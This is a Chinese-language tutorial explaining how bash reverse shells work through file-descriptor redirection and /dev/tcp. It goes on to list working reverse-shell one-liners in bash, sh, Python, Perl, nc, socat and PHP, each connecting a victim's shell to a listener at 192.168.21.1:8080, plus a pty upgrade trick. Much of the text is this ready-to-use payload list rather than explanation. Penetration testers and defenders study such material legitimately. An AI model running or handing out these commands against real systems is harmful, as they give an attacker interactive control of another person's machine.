- sh/bash:
/bin/bash -i >& /dev/tcp/192.168.21.1/8080 0>&1
/bin/sh -i >& /dev/tcp/192.168.21.1/8080 0>&1
先解释下相关概念0表示标准输入(默认键盘),1表示标准输出(默认显示器),2表示错误输出(默认显示器)
0>&1表示将标准输入重定向到标准输出 ,0>1表示将标准输入重定向到文件名为1的文件,&就是用来区分的标识符
还有linux是默认不把错误信息重定向到文件的,如图test3中并没有错误信息,而且两次命令得到的结果一样,即cmd >file 等同于 cmd 1>file

bash -i 生成一个交互式的子进程
/dev/tcp/192.168.21.1/8080 linux一切皆文件思想,其实就是与192.168.21.1:8080建立tcp连接
/bin/bash -i > /dev/tcp/192.168.21.1/8080 表示bash子进程的标准输出重定向到远程的8080端口

由上图可以看到执行成功的命令id,pwd的结果都重定向到了远程8080,但是错误信息却直接输出到了屏幕,这就是上面说的linux是默认不把错误输出(也就是2)重定向到文件,所以需要再加上 2>&1(等同于>&),即将错误输出也重定向到标准输出,因为标准输出已经重定向到了8080,所以错误输出也重定向到远程端口8080。
现在实现了将受害者的命令结果重定向到了远程的8080端口,但是作为交互式shell来说,我们还需要直接在监听端直接输入命令。我们再添加0>&1,表示将标准输入重定向到标准输出,和上面一样,标准输出已经重定向到了/dev/tcp/192.168.21.1/8080,所以标准输入也重定向到了远程,这样就可以在远端直接输入命令了。这就是网络上盛传的bash反弹shell的原理。
bash -i > /dev/tcp/192.168.21.1/8080 0>&1 2>&1 即
bash -i >& /dev/tcp/192.168.21.1/8080 0>&1
下面的方法都是通过各种语言/方法来调用sh/bash然后建立socket连接,就不细说了
python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.21.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
perl:
perl -e 'use Socket;$i="192.168.21.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
nc:
nc 192.168.21.1 8080 -e /bin/bash
socat:
socat exec:'bash -i',pty,stderr,setsid,sigint,sane tcp:192.168.21.1:8080
php:
php -r '$sock=fsockopen("192.168.21.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
注意,上面各种方法反弹回来的shell,都只是简单的"执行命令----->返回结果"模式,无法正常使用vim等需要交互式环境的命令,使用python的pty模块,可以让反弹回来的shell变成真正交互式:
python -c "import pty;pty.spawn('/bin/bash')"
网友评论